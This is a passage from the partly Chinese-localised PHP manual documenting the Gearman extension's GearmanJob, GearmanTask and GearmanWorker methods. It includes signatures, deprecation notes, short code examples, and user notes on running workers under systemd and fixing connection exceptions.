This method has been replaced by GearmanJob::sendException() in the 0.6.0 release of the Gearman extension.

参数

exception

An exception description.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send fail status (deprecated)

  • ? GearmanJob::exception
  • GearmanJob::functionName ?
  • PHP Manual
  • GearmanJob
  • Send fail status (deprecated)

GearmanJob::fail

(PECL gearman <= 0.5.0)

GearmanJob::fail — Send fail status (deprecated)

说明

public GearmanJob::fail(): bool

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

Note:

This method has been replaced by GearmanJob::sendFail() in the 0.6.0 release of the Gearman extension.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Get function name

  • ? GearmanJob::fail
  • GearmanJob::handle ?
  • PHP Manual
  • GearmanJob
  • Get function name

GearmanJob::functionName

(PECL gearman >= 0.5.0)

GearmanJob::functionName — Get function name

说明

public GearmanJob::functionName(): false|string

Returns the function name for this job. This is the function the work will execute to perform the job.

参数

此函数没有参数。

返回值

The name of a function, or false if the job has not yet been initialized.

参见

  • GearmanTask::function() - Get associated function name (deprecated)

User Contributed Notes

fastest963 at gmail dot com 01-Oct-2014 01:16
FYI this is the queue name not the callable function name.


Get the job handle

  • ? GearmanJob::functionName
  • GearmanJob::returnCode ?
  • PHP Manual
  • GearmanJob
  • Get the job handle

GearmanJob::handle

(PECL gearman >= 0.5.0)

GearmanJob::handle — Get the job handle

说明

public GearmanJob::handle(): false|string

Returns the opaque job handle assigned by the job server.

参数

此函数没有参数。

返回值

An opaque job handle, or false if the job has not yet been initialized.

参见

  • GearmanTask::jobHandle() - Get the job handle

User Contributed Notes

There are no user contributed notes for this page.


Get last return code

  • ? GearmanJob::handle
  • GearmanJob::sendComplete ?
  • PHP Manual
  • GearmanJob
  • Get last return code

GearmanJob::returnCode

(PECL gearman >= 0.5.0)

GearmanJob::returnCode — Get last return code

说明

public GearmanJob::returnCode(): int

Returns the last return code issued by the job server.

参数

此函数没有参数。

返回值

A valid Gearman return code.

参见

  • GearmanTask::returnCode() - Get the last return code

User Contributed Notes

There are no user contributed notes for this page.


Send the result and complete status

  • ? GearmanJob::returnCode
  • GearmanJob::sendData ?
  • PHP Manual
  • GearmanJob
  • Send the result and complete status

GearmanJob::sendComplete

(PECL gearman >= 0.6.0)

GearmanJob::sendComplete — Send the result and complete status

说明

public GearmanJob::sendComplete(string $result): bool

Sends result data and the complete status update for this job.

参数

result

Serialized result data.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.


Send data for a running job

  • ? GearmanJob::sendComplete
  • GearmanJob::sendException ?
  • PHP Manual
  • GearmanJob
  • Send data for a running job

GearmanJob::sendData

(PECL gearman >= 0.6.0)

GearmanJob::sendData — Send data for a running job

说明

public GearmanJob::sendData(string $data): bool

Sends data to the job server (and any listening clients) for this job.

参数

data

Arbitrary serialized data.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

ABC 24-May-2013 07:55
For Gearman PHP 1.1.1
sendData() only works for addTask.
It does not work with doNormal, doBackground or addTaskBackground submission types


Send exception for running job (exception)

  • ? GearmanJob::sendData
  • GearmanJob::sendFail ?
  • PHP Manual
  • GearmanJob
  • Send exception for running job (exception)

GearmanJob::sendException

(PECL gearman >= 0.6.0)

GearmanJob::sendException — Send exception for running job (exception)

说明

public GearmanJob::sendException(string $exception): bool

Sends the supplied exception when this job is running.

参数

exception

An exception description.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send fail status

  • ? GearmanJob::sendException
  • GearmanJob::sendStatus ?
  • PHP Manual
  • GearmanJob
  • Send fail status

GearmanJob::sendFail

(PECL gearman >= 0.6.0)

GearmanJob::sendFail — Send fail status

说明

public GearmanJob::sendFail(): bool

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send status

  • ? GearmanJob::sendFail
  • GearmanJob::sendWarning ?
  • PHP Manual
  • GearmanJob
  • Send status

GearmanJob::sendStatus

(PECL gearman >= 0.6.0)

GearmanJob::sendStatus — Send status

说明

public GearmanJob::sendStatus(int $numerator, int $denominator): bool

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

参数

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Send a warning

  • ? GearmanJob::sendStatus
  • GearmanJob::setReturn ?
  • PHP Manual
  • GearmanJob
  • Send a warning

GearmanJob::sendWarning

(PECL gearman >= 0.6.0)

GearmanJob::sendWarning — Send a warning

说明

public GearmanJob::sendWarning(string $warning): bool

Sends a warning for this job while it is running.

参数

warning

A warning message.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.


Set a return value

  • ? GearmanJob::sendWarning
  • GearmanJob::status ?
  • PHP Manual
  • GearmanJob
  • Set a return value

GearmanJob::setReturn

(PECL gearman >= 0.5.0)

GearmanJob::setReturn — Set a return value

说明

public GearmanJob::setReturn(int $gearman_return_t): bool

Sets the return value for this job, indicates how the job completed.

参数

gearman_return_t

A valid Gearman return value.

返回值

Description...

User Contributed Notes

There are no user contributed notes for this page.


Send status (deprecated)

  • ? GearmanJob::setReturn
  • GearmanJob::unique ?
  • PHP Manual
  • GearmanJob
  • Send status (deprecated)

GearmanJob::status

(PECL gearman <= 0.5.0)

GearmanJob::status — Send status (deprecated)

说明

public GearmanJob::status(int $numerator, int $denominator): bool

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

Note:

This method has been replaced by GearmanJob::sendStatus() in the 0.6.0 release of the Gearman extenstion.

参数

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier

  • ? GearmanJob::status
  • GearmanJob::warning ?
  • PHP Manual
  • GearmanJob
  • Get the unique identifier

GearmanJob::unique

(PECL gearman >= 0.5.0)

GearmanJob::unique — Get the unique identifier

说明

public GearmanJob::unique(): false|string

Returns the unique identifier for this job. The identifier is assigned by the client.

参数

此函数没有参数。

返回值

An opaque unique identifier, or false if the job has not yet been initialized.

参见

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanTask::uuid() - Get the unique identifier for a task (deprecated)

User Contributed Notes

ben dot paulsen at myedu dot com 19-Dec-2011 12:56
I think it's worth noting that this function will not return the unique id specified by a client request unless GEARMAN_WORKER_GRAB_UNIQ is specified as an option to the worker instance as follows ...

<?php
  $worker= new GearmanWorker();
  $worker->addServer();
  $worker->addOptions(GEARMAN_WORKER_GRAB_UNIQ);
?>


Send a warning (deprecated)

  • ? GearmanJob::unique
  • GearmanJob::workload ?
  • PHP Manual
  • GearmanJob
  • Send a warning (deprecated)

GearmanJob::warning

(PECL gearman <= 0.5.0)

GearmanJob::warning — Send a warning (deprecated)

说明

public GearmanJob::warning(string $warning): bool

Sends a warning for this job while it is running.

Note:

This method has been replaced by GearmanJob::sendWarning() in the 0.6.0 release of the Gearman extension.

参数

warning

A warning messages.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.


Get workload

  • ? GearmanJob::warning
  • GearmanJob::workloadSize ?
  • PHP Manual
  • GearmanJob
  • Get workload

GearmanJob::workload

(PECL gearman >= 0.5.0)

GearmanJob::workload — Get workload

说明

public GearmanJob::workload(): string

Returns the workload for the job. This is serialized data that is to be processed by the worker.

参数

此函数没有参数。

返回值

Serialized data.

参见

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanJob::workloadSize() - Get size of work load

User Contributed Notes

There are no user contributed notes for this page.


Get size of work load

  • ? GearmanJob::workload
  • GearmanTask ?
  • PHP Manual
  • GearmanJob
  • Get size of work load

GearmanJob::workloadSize

(PECL gearman >= 0.5.0)

GearmanJob::workloadSize — Get size of work load

说明

public GearmanJob::workloadSize(): int

Returns the size of the job's work load (the data the worker is to process) in bytes.

参数

此函数没有参数。

返回值

The size in bytes.

参见

  • GearmanJob::workload() - Get workload

User Contributed Notes

There are no user contributed notes for this page.


The GearmanTask class

(PECL gearman >= 0.5.0)

简介

类摘要

class GearmanTask {
/* 方法 */
public __construct()
public data(): false|string
public dataSize(): int|false
public functionName(): false|string
public isKnown(): bool
public isRunning(): bool
public jobHandle(): false|string
public recvData(int $data_len): false|array
public returnCode(): int
public sendWorkload(string $data): int|false
public taskDenominator(): false|int
public taskNumerator(): false|int
public unique(): false|string
}

Table of Contents

  • GearmanTask::__construct — Create a GearmanTask instance
  • GearmanTask::create — Create a task (deprecated)
  • GearmanTask::data — Get data returned for a task
  • GearmanTask::dataSize — Get the size of returned data
  • GearmanTask::function — Get associated function name (deprecated)
  • GearmanTask::functionName — Get associated function name
  • GearmanTask::isKnown — Determine if task is known
  • GearmanTask::isRunning — Test whether the task is currently running
  • GearmanTask::jobHandle — Get the job handle
  • GearmanTask::recvData — Read work or result data into a buffer for a task
  • GearmanTask::returnCode — Get the last return code
  • GearmanTask::sendData — Send data for a task (deprecated)
  • GearmanTask::sendWorkload — Send data for a task
  • GearmanTask::taskDenominator — Get completion percentage denominator
  • GearmanTask::taskNumerator — Get completion percentage numerator
  • GearmanTask::unique — Get the unique identifier for a task
  • GearmanTask::uuid — Get the unique identifier for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanTask instance

  • ? GearmanTask
  • GearmanTask::create ?
  • PHP Manual
  • GearmanTask
  • Create a GearmanTask instance

GearmanTask::__construct

(PECL gearman >= 0.5.0)

GearmanTask::__construct — Create a GearmanTask instance

说明

public GearmanTask::__construct()

Creates a GearmanTask instance representing a task to be submitted to a job server.

参数

此函数没有参数。

返回值

A GearmanTask object.

User Contributed Notes

There are no user contributed notes for this page.


Create a task (deprecated)

  • ? GearmanTask::__construct
  • GearmanTask::data ?
  • PHP Manual
  • GearmanTask
  • Create a task (deprecated)

GearmanTask::create

(PECL gearman <= 0.5.0)

GearmanTask::create — Create a task (deprecated)

说明

public GearmanTask::create(): GearmanTask|false

Returns a new GearmanTask object.

Note:

This method was removed in the 0.6.0 version of the Gearman extension.

参数

此函数没有参数。

返回值

A GearmanTask oject 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get data returned for a task

  • ? GearmanTask::create
  • GearmanTask::dataSize ?
  • PHP Manual
  • GearmanTask
  • Get data returned for a task

GearmanTask::data

(PECL gearman >= 0.5.0)

GearmanTask::data — Get data returned for a task

说明

public GearmanTask::data(): false|string

Returns data being returned for a task by a worker.

参数

此函数没有参数。

返回值

The serialized data, or false if no data is present.

参见

  • GearmanTask::dataSize() - Get the size of returned data

User Contributed Notes

There are no user contributed notes for this page.


Get the size of returned data

  • ? GearmanTask::data
  • GearmanTask::function ?
  • PHP Manual
  • GearmanTask
  • Get the size of returned data

GearmanTask::dataSize

(PECL gearman >= 0.5.0)

GearmanTask::dataSize — Get the size of returned data

说明

public GearmanTask::dataSize(): int|false

Returns the size of the data being returned for a task.

参数

此函数没有参数。

返回值

The data size, or false if there is no data.

参见

  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.


Get associated function name (deprecated)

  • ? GearmanTask::dataSize
  • GearmanTask::functionName ?
  • PHP Manual
  • GearmanTask
  • Get associated function name (deprecated)

GearmanTask::function

(PECL gearman <= 0.5.0)

GearmanTask::function — Get associated function name (deprecated)

说明

public GearmanTask::function(): string

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

Note:

This method has been replaced by GearmanTask::functionName() in the 0.6.0 release of the Gearman extension.

参数

此函数没有参数。

返回值

A function name.

User Contributed Notes

There are no user contributed notes for this page.


Get associated function name

  • ? GearmanTask::function
  • GearmanTask::isKnown ?
  • PHP Manual
  • GearmanTask
  • Get associated function name

GearmanTask::functionName

(PECL gearman >= 0.6.0)

GearmanTask::functionName — Get associated function name

说明

public GearmanTask::functionName(): false|string

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

参数

此函数没有参数。

返回值

A function name, or false if the task has not yet been created.

User Contributed Notes

There are no user contributed notes for this page.


Determine if task is known

  • ? GearmanTask::functionName
  • GearmanTask::isRunning ?
  • PHP Manual
  • GearmanTask
  • Determine if task is known

GearmanTask::isKnown

(PECL gearman >= 0.5.0)

GearmanTask::isKnown — Determine if task is known

说明

public GearmanTask::isKnown(): bool

Gets the status information for whether or not this task is known to the job server.

参数

此函数没有参数。

返回值

true if the task is known, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Test whether the task is currently running

  • ? GearmanTask::isKnown
  • GearmanTask::jobHandle ?
  • PHP Manual
  • GearmanTask
  • Test whether the task is currently running

GearmanTask::isRunning

(PECL gearman >= 0.5.0)

GearmanTask::isRunning — Test whether the task is currently running

说明

public GearmanTask::isRunning(): bool

Indicates whether or not this task is currently running.

参数

此函数没有参数。

返回值

true if the task is running, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Get the job handle

  • ? GearmanTask::isRunning
  • GearmanTask::recvData ?
  • PHP Manual
  • GearmanTask
  • Get the job handle

GearmanTask::jobHandle

gearman_job_handle

(PECL gearman >= 0.5.0)

GearmanTask::jobHandle -- gearman_job_handle — Get the job handle

说明

public GearmanTask::jobHandle(): false|string

Returns the job handle for this task.

参数

此函数没有参数。

返回值

The opaque job handle, or false if the task has not yet been created.

参见

  • GearmanClient::doJobHandle() - Get the job handle for the running task

User Contributed Notes

chris at cmbuckley dot co dot uk 14-Aug-2013 08:38
The job handle is not assigned until the task is received and queued by the job server, so you will need to use one of the client callbacks to access the handle:

<?php
$client->setCreatedCallback(function ($task) {
    var_dump($task->jobHandle()); // "H:server:1"
});
$task = $client->addTask('function', 'workload');
var_dump($task->jobHandle()); // ""


Read work or result data into a buffer for a task

  • ? GearmanTask::jobHandle
  • GearmanTask::returnCode ?
  • PHP Manual
  • GearmanTask
  • Read work or result data into a buffer for a task

GearmanTask::recvData

(PECL gearman >= 0.5.0)

GearmanTask::recvData — Read work or result data into a buffer for a task

说明

public GearmanTask::recvData(int $data_len): false|array

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

data_len

Length of data to be read.

返回值

An array whose first element is the length of data read and the second is the data buffer. Returns false if the read failed.

参见

  • GearmanTask::sendData() - Send data for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Get the last return code

  • ? GearmanTask::recvData
  • GearmanTask::sendData ?
  • PHP Manual
  • GearmanTask
  • Get the last return code

GearmanTask::returnCode

(PECL gearman >= 0.5.0)

GearmanTask::returnCode — Get the last return code

说明

public GearmanTask::returnCode(): int

Returns the last Gearman return code for this task.

参数

此函数没有参数。

返回值

A valid Gearman return code.

参见

  • GearmanClient::returnCode() - Get the last Gearman return code

User Contributed Notes

There are no user contributed notes for this page.


Send data for a task (deprecated)

  • ? GearmanTask::returnCode
  • GearmanTask::sendWorkload ?
  • PHP Manual
  • GearmanTask
  • Send data for a task (deprecated)

GearmanTask::sendData

(PECL gearman <= 0.5.0)

GearmanTask::sendData — Send data for a task (deprecated)

说明

public GearmanTask::sendData(string $data): int

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

data

Data to send to the worker.

返回值

The length of data sent, or false if the send failed.

参见

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.


Send data for a task

  • ? GearmanTask::sendData
  • GearmanTask::taskDenominator ?
  • PHP Manual
  • GearmanTask
  • Send data for a task

GearmanTask::sendWorkload

(PECL gearman >= 0.6.0)

GearmanTask::sendWorkload — Send data for a task

说明

public GearmanTask::sendWorkload(string $data): int|false

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

data

Data to send to the worker.

返回值

The length of data sent, or false if the send failed.

参见

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.


Get completion percentage denominator

  • ? GearmanTask::sendWorkload
  • GearmanTask::taskNumerator ?
  • PHP Manual
  • GearmanTask
  • Get completion percentage denominator

GearmanTask::taskDenominator

(PECL gearman >= 0.5.0)

GearmanTask::taskDenominator — Get completion percentage denominator

说明

public GearmanTask::taskDenominator(): false|int

Returns the denominator of the percentage of the task that is complete expressed as a fraction.

参数

此函数没有参数。

返回值

A number between 0 and 100, or false if cannot be determined.

参见

  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Get completion percentage numerator

  • ? GearmanTask::taskDenominator
  • GearmanTask::unique ?
  • PHP Manual
  • GearmanTask
  • Get completion percentage numerator

GearmanTask::taskNumerator

(PECL gearman >= 0.5.0)

GearmanTask::taskNumerator — Get completion percentage numerator

说明

public GearmanTask::taskNumerator(): false|int

Returns the numerator of the percentage of the task that is complete expressed as a fraction.

参数

此函数没有参数。

返回值

A number between 0 and 100, or false if cannot be determined.

参见

  • GearmanTask::taskDenominator() - Get completion percentage denominator

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier for a task

  • ? GearmanTask::taskNumerator
  • GearmanTask::uuid ?
  • PHP Manual
  • GearmanTask
  • Get the unique identifier for a task

GearmanTask::unique

(PECL gearman >= 0.6.0)

GearmanTask::unique — Get the unique identifier for a task

说明

public GearmanTask::unique(): false|string

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

参数

此函数没有参数。

返回值

The unique identifier, or false if no identifier is assigned.

参见

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier for a task (deprecated)

  • ? GearmanTask::unique
  • GearmanWorker ?
  • PHP Manual
  • GearmanTask
  • Get the unique identifier for a task (deprecated)

GearmanTask::uuid

(PECL gearman <= 0.5.0)

GearmanTask::uuid — Get the unique identifier for a task (deprecated)

说明

public GearmanTask::uuid(): string

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

Note:

This method has been replaced by GearmanTask::unique() in the 0.6.0 release of the Gearman extension.

参数

此函数没有参数。

返回值

The unique identifier, or false if no identifier is assigned.

参见

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


The GearmanWorker class

(PECL gearman >= 0.5.0)

简介

类摘要

class GearmanWorker {
/* 方法 */
public __construct()
public addFunction(
string $function_name,
callable $function,
mixed $context = null,
int $timeout = 0
): bool
public addOptions(int $option): true
public addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool
public addServers(string $servers = null, bool $setupExceptionHandler = true): bool
public error(): string|false
public getErrno(): int
public options(): int
public register(string $function_name, int $timeout = 0): bool
public removeOptions(int $option): true
public returnCode(): int
public setId(string $id): bool
public setOptions(int $option): true
public setTimeout(int $timeout): true
public timeout(): int
public unregister(string $function_name): bool
public unregisterAll(): bool
public wait(): bool
public work(): bool
}

Table of Contents

  • GearmanWorker::addFunction — Register and add callback function
  • GearmanWorker::addOptions — Add worker options
  • GearmanWorker::addServer — Add a job server
  • GearmanWorker::addServers — Add job servers
  • GearmanWorker::clone — Create a copy of the worker
  • GearmanWorker::__construct — Create a GearmanWorker instance
  • GearmanWorker::echo — Test job server response
  • GearmanWorker::error — Get the last error encountered
  • GearmanWorker::getErrno — Get errno
  • GearmanWorker::options — Get worker options
  • GearmanWorker::register — Register a function with the job server
  • GearmanWorker::removeOptions — Remove worker options
  • GearmanWorker::returnCode — Get last Gearman return code
  • GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers
  • GearmanWorker::setOptions — Set worker options
  • GearmanWorker::setTimeout — Set socket I/O activity timeout
  • GearmanWorker::timeout — Get socket I/O activity timeout
  • GearmanWorker::unregister — Unregister a function name with the job servers
  • GearmanWorker::unregisterAll — Unregister all function names with the job servers
  • GearmanWorker::wait — Wait for activity from one of the job servers
  • GearmanWorker::work — Wait for and perform jobs

User Contributed Notes

szhvoj@gmail!com 03-Oct-2022 08:11
Use systemd for managing this process:

---- 8< ---- /lib/systemd/system/gearman-worker.service
[Unit]
Description=My own gearman worker

[Service]
ExecStart=/usr/bin/php /var/www/my-worker.php
Restart=always

[Install]
WantedBy=multi-user.target
---- >8 ----  /lib/systemd/system/gearman-worker.service
systemctl daemon-reload
systemctl enable gearman-worker
systemctl start gearman-worker
spacewalker2002 at ukr dot net 26-Apr-2013 08:09
For background run use:

exec("nohup php worker.php >/dev/null 2>/dev/null &");


Register and add callback function

  • ? GearmanWorker
  • GearmanWorker::addOptions ?
  • PHP Manual
  • GearmanWorker
  • Register and add callback function

GearmanWorker::addFunction

(PECL gearman >= 0.5.0)

GearmanWorker::addFunction — Register and add callback function

说明

public GearmanWorker::addFunction(
string $function_name,
callable $function,
mixed $context = null,
int $timeout = 0
): bool

Registers a function name with the job server and specifies a callback corresponding to that function. Optionally specify extra application context data to be used when the callback is called and a timeout.

参数

function_name

The name of a function to register with the job server

function

A callback that gets called when a job for the registered function name is submitted

context

A reference to arbitrary application context data that can be modified by the worker function

timeout

An interval of time in seconds

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Simple worker making use of extra application context data

<?php

# get a gearman worker
$worker= new GearmanWorker();

# add the default server (localhost)
$worker->addServer();

# define a variable to hold application data
$count= 0;

# add the "reverse" function
$worker->addFunction("reverse", "reverse_cb", $count);

# start the worker
while ($worker->work());

function reverse_cb($job, &$count)
{
$count++;
return "$count: " . strrev($job->workload());
}

?>

Running a client that submits two jobs for the reverse function would have output similar to the following:

1: olleh
2: dlrow

参见

  • GearmanClient::do() - Run a single task and return a result [deprecated]

User Contributed Notes

There are no user contributed notes for this page.


Add worker options

  • ? GearmanWorker::addFunction
  • GearmanWorker::addServer ?
  • PHP Manual
  • GearmanWorker
  • Add worker options

GearmanWorker::addOptions

(PECL gearman >= 0.6.0)

GearmanWorker::addOptions — Add worker options

说明

public GearmanWorker::addOptions(int $option): true

Adds one or more options to the options previously set.

参数

option

The options to be added

返回值

总是返回 true。

参见

  • GearmanWorker::options() - Get worker options
  • GearmanClient::setOptions() - Set client options
  • GearmanClient::removeOptions() - Remove client options

User Contributed Notes

There are no user contributed notes for this page.


Add a job server

  • ? GearmanWorker::addOptions
  • GearmanWorker::addServers ?
  • PHP Manual
  • GearmanWorker
  • Add a job server

GearmanWorker::addServer

(PECL gearman >= 0.5.0)

GearmanWorker::addServer — Add a job server

说明

public GearmanWorker::addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool

Adds a job server to this worker. This goes into a list of servers than can be used to run jobs. No socket I/O happens here.

参数

host

任务服务器主机名。

port

任务服务器端口号。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Add alternate Gearman servers

<?php
$worker= new GearmanWorker();
$worker->addServer("10.0.0.1");
$worker->addServer("10.0.0.2", 7003);
?>

参见

  • GearmanWorker::addServers() - Add job servers

User Contributed Notes

anubhav dot jha at gmail dot com 02-May-2017 11:26
I was receving following message on add server Uncaught exception 'GearmanException' with message 'Failed to set exception option' in <<filename>>:<<linenumber >>
 was on centos 6.5

fixed by following steps:
yum install gearmand
/etc/init.d/gearmand start
mike at eastghost dot com 18-Feb-2017 01:23
PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option'

also indicates the gearmand daemon is not running.
allevo 07-Feb-2017 10:28
On Ubuntu (php7 php-gearman/xenial,now 2.0.2+1.1.2-1+deb.sury.org~xenial+1 amd64) this function throws a GearmanException.
Please use in try catch
liv_romania at yahoo dot com 18-Jul-2015 03:14
To properly test the server added you could use the following code:

<?php
// create the worker
$worker= new GearmanWorker();

// add the  job server (bad host/port)
$worker->addServer('127.0.0.2', 4731);

// define a variable to hold application data
$count = 0;

// add the reverse function
$worker->addFunction('reverse', 'my_reverse_function', $count);

// test job server response
if (!@$worker->echo('test data')) {
    die($worker->error());
}

// start the worker listening for job submissions
while ($worker->work());

function my_reverse_function($job, &$count)
{
    $count++;

    return $count . ': ' . strrev($job->workload()) . "\n";
}
?>
617137379 at qq dot com 30-Oct-2013 08:10
No socket I/O happens in addserver.
gabe dot spradlin at gmail dot com 27-Sep-2013 03:42
The manual states that you get a TRUE on success and FALSE on failure. When I have attempted to connect to a server that is powered off I still get TRUE. The return from returnCode() is 0 which is the same as the returnCode() from a successful connection.

I have not yet found a way around this.
magge 14-Oct-2012 07:21
If you suddenly start getting a:

PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option' in

...on your GearmanWorker::work() calls, I was able to fix this by specifying values to GearmanWorker::addServer(), even if they are the same as the documented default values.

Crashes:

<?php
$gmw = new GearmanWorker();
$gmw->addServer();
$gmw->work();
?>

Works:

<?php
$gmw = new GearmanWorker();
$gmw->addServer("127.0.0.1", 4730);
$gmw->work();
?>

Go figure. :)


Add job servers

  • ? GearmanWorker::addServer
  • GearmanWorker::clone ?
  • PHP Manual
  • GearmanWorker
  • Add job servers

GearmanWorker::addServers

(PECL gearman >= 0.5.0)

GearmanWorker::addServers — Add job servers

说明

public GearmanWorker::addServers(string $servers = null, bool $setupExceptionHandler = true): bool

Adds one or more job servers to this worker. These go into a list of servers that can be used to run jobs. No socket I/O happens here.

参数

servers

A comma separated list of job servers in the format host:port. If no port is specified, it defaults to 4730.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Add two job servers

<?php

$worker= new GearmanWorker();
$worker->addServers("10.0.0.1,10.0.0.2:7003");

?>

参见

  • GearmanWorker::addServer() - Add a job server

User Contributed Notes

matthew day 23-Nov-2011 12:45
as of this note, the current released version of gearman doesn't really work so well to add multiple servers, although it's fixed in SVN

see: https://bugs.php.net/bug.php?id=59423

if i just add one server to my worker, it works just fine and sits and waits for a job to do

if I have more than 1 server in my worker, i get a timeout warning which causes the worker to generate a php notice and the while loop fails.


Create a copy of the worker

  • ? GearmanWorker::addServers
  • GearmanWorker::__construct ?
  • PHP Manual
  • GearmanWorker
  • Create a copy of the worker

GearmanWorker::clone

(PECL gearman >= 0.5.0)

GearmanWorker::clone — Create a copy of the worker

说明

public GearmanWorker::clone(): void

Creates a copy of the worker.

参数

此函数没有参数。

返回值

A GearmanWorker object

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanWorker instance

  • ? GearmanWorker::clone
  • GearmanWorker::echo ?
  • PHP Manual
  • GearmanWorker
  • Create a GearmanWorker instance

GearmanWorker::__construct

(PECL gearman >= 0.5.0)

GearmanWorker::__construct — Create a GearmanWorker instance

说明

public GearmanWorker::__construct()

Creates a GearmanWorker instance representing a worker that connects to the job server and accepts tasks to run.

参数

此函数没有参数。

返回值

A GearmanWorker object

参见

  • GearmanWorker::clone() - Create a copy of the worker

User Contributed Notes

There are no user contributed notes for this page.


Test job server response

  • ? GearmanWorker::__construct
  • GearmanWorker::error ?
  • PHP Manual
  • GearmanWorker
  • Test job server response

GearmanWorker::echo

(PECL gearman >= 0.6.0)

GearmanWorker::echo — Test job server response

说明

public GearmanWorker::echo(string $workload): bool

Sends data to all job servers to see if they echo it back. This is a test function to see if job servers are responding properly.

参数

workload

Arbitrary serialized data

返回值

Standard Gearman return value.

参见

  • GearmanClient::echo() - Send data to all job servers to see if they echo it back [deprecated]

User Contributed Notes

There are no user contributed notes for this page.


Get the last error encountered

  • ? GearmanWorker::echo
  • GearmanWorker::getErrno ?
  • PHP Manual
  • GearmanWorker
  • Get the last error encountered

GearmanWorker::error

(PECL gearman >= 0.5.0)

GearmanWorker::error — Get the last error encountered

说明

public GearmanWorker::error(): string|false

Returns an error string for the last error encountered.

参数

此函数没有参数。

返回值

A human readable error string, or false if there is no error message available.

参见

  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.


Get errno

  • ? GearmanWorker::error
